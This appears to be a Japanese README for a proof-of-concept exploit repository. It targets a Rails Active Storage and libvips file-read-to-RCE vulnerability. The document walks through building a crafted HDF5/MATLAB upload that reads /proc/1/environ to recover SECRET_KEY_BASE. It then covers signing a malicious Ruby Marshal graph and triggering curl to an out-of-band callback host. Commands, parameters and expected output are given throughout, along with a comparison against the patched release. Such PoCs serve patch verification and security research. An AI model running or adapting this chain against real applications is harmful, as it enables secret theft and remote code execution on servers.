
CVE-2026-66066-POC — Updated!
Ruby on Rails における CVE-2026-66066 の PoC
CVE-2026-66066 の PoC - 最小構成の標準 Rails/libvips ラボ
このリポジトリは、GHSA-xr9x-r78c-5hrm で説明されている Rails Active Storage のファイル読み取りから RCE に至るチェーンを、影響を受ける最新の Rails 8.1 リリースである Rails 8.1.3 に対して再現します。Rails 8.1.3.1 が修正済みのコントロールです。
ここで説明する使い捨てのローカルラボでのみ使用してください。HTTP ドライバは非ループバックターゲットを拒否します(ただし、他のターゲットに対する許可されたテスト用に Python コードを変更するのは簡単です)。
厳密なターゲット/攻撃者の境界
ターゲットは一般的な Rails アプリケーションです。その最終イメージには以下が含まれます:
- 固定された
ruby:3.4.10-slimDocker 公式イメージ; rails _VERSION_ newによって生成されたアプリケーション;- Rails が生成するランタイムパッケージ
curl、libjemalloc2、libvips、sqlite3; - Rails が生成するエントリポイントとデフォルトの
./bin/thrust ./bin/rails serverコマンド; そして - 単一の Active Storage アタッチメントを持つ通常の
Uploadモデル、標準的な HTML のnew、create、showアクション、および PNG 画像バリアント。
アーティファクトビルダー、アップロードアーティファクト、エクスプロイトドライバ、Marshal コンストラクタ、コールバックコード、診断エンドポイント、ローダートレース、カスタムブートスクリプト、ターゲットの秘密情報フィクスチャ、エクスプロイト専用ルートは含まれていません。VIPS_TRACE の設定、プロセス環境の並べ替え、Active Storage シリアライザのオーバーライド、デフォルト以外の画像プロセッサの構成も行いません。
ルートの .dockerignore は Dockerfile と overlay/ のみをビルドに送ります。ホスト側の Python スクリプトと生成されたすべてのアーティファクトは、最終的なコピーステップから除外されるだけでなく、Docker ビルドコンテキストから除外されます。
完全なターゲットオーバーレイは、通常の 5 つのファイルです:
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
show ページは最小限の通常の変換を使用します:
<%= image_tag @upload.avatar.variant(format: :png) %>
未変更の新しい Rails アプリケーションには、アタッチメントを受け入れるアプリケーションモデルやページがないため、これら 5 つのファイルは、アドバイザリの信頼できない画像アップロード条件を表すために必要な最小限のアプリケーション機能です。
脆弱なターゲットのビルドと実行
前提条件は、Docker、OpenSSL、Python 3、およびアーティファクトビルダー用の h5py です。
ターミナル 1 で:
./run_lab.sh 8.1.3
このスクリプトは minimal-rails-vips:8.1.3 をビルドし、既に提供されていない限り一時的な SECRET_KEY_BASE を生成し、アプリケーションを 127.0.0.1:3000 でのみ公開し、イメージの生成されたエントリポイントとデフォルトコマンドを実行します。ソースディレクトリやアーティファクトはターゲットにマウントされません。
ポート 3000 が既に使用中の場合は、イメージを変更せずに別のループバックポートを選択してください:
HOST_PORT=33020 ./run_lab.sh 8.1.3
ドライバの --target には同じポートを使用してください。
統合ビルダーとドライバの実行
ターミナル 2 で:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback
rails_vips_oast_poc.py はワンショットのビルダー兼 HTTP ドライバです。--artifact が指定されない限り、プライベートな一時ディレクトリにアップロードを構築し、一連のリクエスト全体で保持し、プロセス終了時に削除します。静的なペイロードを展開するのではなく、両方のステージを構築します:
h5pyに 512 バイトのユーザーブロックを持つ MATLAB/HDF5 ファイルを作成させます。environmentという名前の1 × 1024リトルエンディアンのuint8データセットを作成します。- データセットは、オフセット 0 の
/proc/1/environをバックエンドとする HDF5 外部ストレージを使用し、1,024 バイトの境界付きエクステントを持ちます。 MATLAB_class="uint8"を追加し、libvips のmatloadスニファが使用するMATLAB 5.0ヘッダーを書き込みます。- その最小限の Ruby Marshal 4.8 ライタが、署名なしの完全な OOB variation グラフを構築します。
- そのシリアル化されたグラフと、OAST URL と相関ノンスを含む小さなマニフェストを含む、整合性チェックされたトレーラーを追加します。
埋め込まれた RCE プログラムは、構造化された引数配列を持つ /usr/bin/curl に固定されています。設定された OAST URL への GET を 1 回実行し、ランダムな rails_ghsa_xr9x 相関トークンのみを送信します。シェルを使用せず、コールバックに回復された秘密情報、コマンド出力、ファイル内容、ターゲット識別子を含めません。
アーティファクトのパラメータは次のとおりです:
--external-path: ターゲット側の絶対ファイル。デフォルトは/proc/1/environ;--bytes: 128 から 4096 までの境界付き外部エクステント。デフォルトは 1024;--oast: ペイロードに埋め込まれるコールバックのベース URL; そして--nonce: 再現可能なアーティファクトのためのオプションの 16 バイト 16 進ノンス。
デフォルトの OAST URL はループバックセーフです。エンドツーエンドの確認には、コンテナから到達可能なレシーバー URL を指定してください。
生成されたアップロードを検査または再利用のために保持するには、アーティファクトパスを追加します:
python3 rails_vips_oast_poc.py \
--target http://127.0.0.1:3000 \
--oast https://YOUR-OAST-DOMAIN.example/callback \
--artifact environment-read.bmp
既存の --artifact は検証され再利用されます。その場合、--oast が指定されていれば、埋め込まれたコールバック URL と一致する必要があります。既存のアーティファクトを再構築し、現在のビルダーパラメータでアトミックに置き換えるには、--force を追加してください。
HTTP リクエストなしでアーティファクトを作成する場合は、付属のビルダーも引き続き利用できます:
python3 build_upload_artifact.py \
--output environment-read.bmp \
--oast https://YOUR-OAST-DOMAIN.example/callback
--target はデフォルトで http://127.0.0.1:3000 であり、リテラルのループバックまたは localhost に制限されます。
脆弱な場合の期待される出力は次のとおりです:
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
ターミナルの oast_nonce を、OAST サービスが受信した rails_ghsa_xr9x=<nonce> クエリパラメータと照合してください。最終的な representation リクエストからの HTTP 500 は想定どおりです。コールバックは、認証された Marshal Hash が再構築されている間に発生し、その後、全体の変換が失敗します。
ドライバの動作
ビルダー部分には h5py が必要です。HTTP と暗号化の部分は Python の標準ライブラリのみを使用します:
- 完全なアップロードアーティファクトと埋め込まれた署名なし Marshal グラフを構築および検証します。
- アプリケーションの通常のマルチパート HTML フォームを通じて安全な PNG をアップロードし、通常のリダイレクトを追跡し、その `` 要素から representation URL を抽出します。
- Rails 組み込みの Active Storage ダイレクトアップロードエンドポイントを使用して
image/bmpとして宣言された未接続の blob を作成し、構築されたバイトをアップロードします。 - その有効な blob の署名付き ID を、安全な画像からの通常の variation キーと組み合わせて、representation をリクエストします。
- 標準の Debian libvips は、ファジングされていない
matload操作を選択します。返された PNG は、ランタイムのSECRET_KEY_BASEを含む外部データセットのバイトを公開します。 - ドライバは通常の
ActiveStorageベリファイアキーを導出し、アーティファクトから既に構築された Marshal ペイロードを読み取り、variation目的で署名し、結果の representation URL をリクエストします。 - デシリアライゼーションが埋め込まれた
/usr/bin/curlペイロードを呼び出し、ブラインド OOB コールバックを生成します。
ターゲットはヘルパーエンドポイントや署名ガジェットを提供しません。シリアル化されたグラフが使用する Ruby クラスは、標準の rails new Gemfile によって既に解決された依存関係から得られます。アプリケーションはそれらを要求も設定もしていません。画像処理は、全体を通して Rails デフォルトの :vips プロセッサのままです。
修正版との差分
Ctrl-C でターミナル 1 を停止し、次を実行します:
./run_lab.sh 8.1.3.1
同じ統合ドライバコマンドを再実行します。アーティファクトが保持されていた場合は、同じ --artifact パスを渡すことで再利用できます。修正版の結果は次の箇所で停止するはずです:
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
環境のピクセルは返されず、埋め込まれたペイロードが署名または送信されることも、OAST コールバックが発生することもありません。Active Storage 8.1.3.1 は libvips の信頼できない操作ブロックを有効にするため、matload は拒否されます。
ターゲットイメージがクリーンであることの確認
最終的なランタイム設定は、生成されたものであるはずです:
docker image inspect minimal-rails-vips:8.1.3 \
--format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
期待される結果:
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
唯一のスクリプトを検査し、PoC ファイルが存在しないことを確認します:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
find /rails/script -maxdepth 2 -type f -print
test ! -e /rails/payloads
test ! -e /rails/payload_builder.c
test ! -e /rails/config/master.key
'
スクリプトエントリは、ジェネレータが作成した /rails/script/.keep のみです。ビルドツールやオプションのイメージ CLI もランタイムには含まれません:
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
for tool in gcc h5cc vips vipsheader convert magick tesseract; do
command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
done
'
libvips は、その CLI ツールがインストールされていなくても、共有ランタイムライブラリとして存在します。Debian の標準の依存関係グラフが、リンクされた MAT/HDF5 形式のサポートを提供します。
ファイル
Dockerfileは最小構成の標準ターゲットを生成およびパッケージ化します。.dockerignoreは、攻撃者側のファイルがビルドコンテキストに入るのを防ぎます。overlay/には通常の Rails アプリケーションファイル 5 つのみが含まれます。run_lab.shは PoC を実行せずにターゲットをビルドして起動します。rails_vips_oast_poc.pyは HDF5 ファイル読み取りイメージと設定可能な OOB ペイロードを構築し、通常の HTTP フローを駆動し、ベリファイアシークレットを回復し、埋め込まれたペイロードに署名してトリガーします。